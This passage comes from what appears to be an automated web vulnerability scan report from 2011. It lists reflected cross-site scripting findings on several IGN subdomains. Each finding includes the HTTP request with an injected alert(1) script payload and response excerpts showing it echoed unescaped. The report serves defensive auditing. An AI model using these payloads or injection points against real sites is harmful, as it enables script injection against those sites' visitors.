GET /ob2/068/077/077723.html?ff970"><script>alert(1)</script>75476dfe71e=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:59 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 104169

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/ob2/068/077/077723.html?ff970"><script>alert(1)</script>75476dfe71e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.102. http://cheats.ign.com/ob2/068/142/14235018.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/142/14235018.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 801b0"-alert(1)-"e0bf0ad5652 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ob2/068/142/14235018.html?801b0"-alert(1)-"e0bf0ad5652=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:08 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120521

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/ob2/068/142/14235018.html?801b0"-alert(1)-"e0bf0ad5652=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.103. http://cheats.ign.com/ob2/068/142/14235018.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/142/14235018.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25be8"><script>alert(1)</script>f1c064d66f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ob2/068/142/14235018.html?25be8"><script>alert(1)</script>f1c064d66f3=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:05 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120600

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/ob2/068/142/14235018.html?25be8"><script>alert(1)</script>f1c064d66f3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.104. http://cheats.ign.com/sendcheats.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/sendcheats.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c92f"-alert(1)-"8c3aa49fd93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sendcheats.html?9c92f"-alert(1)-"8c3aa49fd93=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:55 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 78118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Send Cheats</title
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/sendcheats.html?9c92f"-alert(1)-"8c3aa49fd93=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.105. http://cheats.ign.com/sendcheats.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/sendcheats.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be516"><script>alert(1)</script>130f141382a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sendcheats.html?be516"><script>alert(1)</script>130f141382a=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:53 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 78164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Send Cheats</title
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/sendcheats.html?be516"><script>alert(1)</script>130f141382a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.106. http://club.ign.com/b/api/objects/user.js [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://club.ign.com
Path:	/b/api/objects/user.js

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 3abb4<script>alert(1)</script>6da74b2156f was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /b/api/objects/user.js?callback=?3abb4<script>alert(1)</script>6da74b2156f HTTP/1.1
Host: club.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:15 GMT
Content-Type: application/x-javascript
Set-Cookie: NSC_vtfsqbhft_iuuq_wjq=ffffffff0909737b45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 94

?3abb4<script>alert(1)</script>6da74b2156f({"message":"objects not found for logged in user"})

3.107. http://comics.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b97e"-alert(1)-"d8da5fb0758 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?9b97e"-alert(1)-"d8da5fb0758=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:42 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-411846107-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:12:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041162862v-1n-12mc+1297041162862mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144690

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Comics: Review
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/?9b97e"-alert(1)-"d8da5fb0758=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.108. http://comics.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24e1c"><script>alert(1)</script>7a3764f3771 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?24e1c"><script>alert(1)</script>7a3764f3771=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:39 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-1276965940-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:12:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041159959v-1n-12mc+1297041159959mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 144777

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/?24e1c"><script>alert(1)</script>7a3764f3771=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.109. http://comics.ign.com/articles/113/1136508p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/articles/113/1136508p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53c59"-alert(1)-"e80a33c5c90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/113/1136508p1.html?53c59"-alert(1)-"e80a33c5c90=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:38 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1104835483-8;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041219032v-1n-12mc+1297041219032mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109817

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://comics.ign.com/articles/113/1136508p1.html?53c59"-alert(1)-"e80a33c5c90=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.110. http://comics.ign.com/articles/113/1136508p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/articles/113/1136508p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39411"><script>alert(1)</script>24e9a9f553c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/113/1136508p1.html?39411"><script>alert(1)</script>24e9a9f553c=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:33 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1386714246-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:33 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041213610v-1n-12mc+1297041213610mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117539

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/articles/113/1136508p1.html?39411"><script>alert(1)</script>24e9a9f553c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.111. http://comics.ign.com/index/characters.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/characters.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e150"><script>alert(1)</script>acaf8d67148 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/characters.html?6e150"><script>alert(1)</script>acaf8d67148=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:28 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-1388692171-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297041208382v-1n-12mc+1297041208382mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 135696

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Comics: Review
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://comics.ign.com/index/characters.html?6e150"><script>alert(1)</script>acaf8d67148=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.112. http://comics.ign.com/index/characters.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://comics.ign.com
Path:	/index/characters.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c7f6"-alert(1)-"8e609d735dc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/characters.html?3c7f6"-alert(1)-"8e609d735dc=1 HTTP/1.1
Host: comics.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:31 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-760949571-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:13:31 GMT
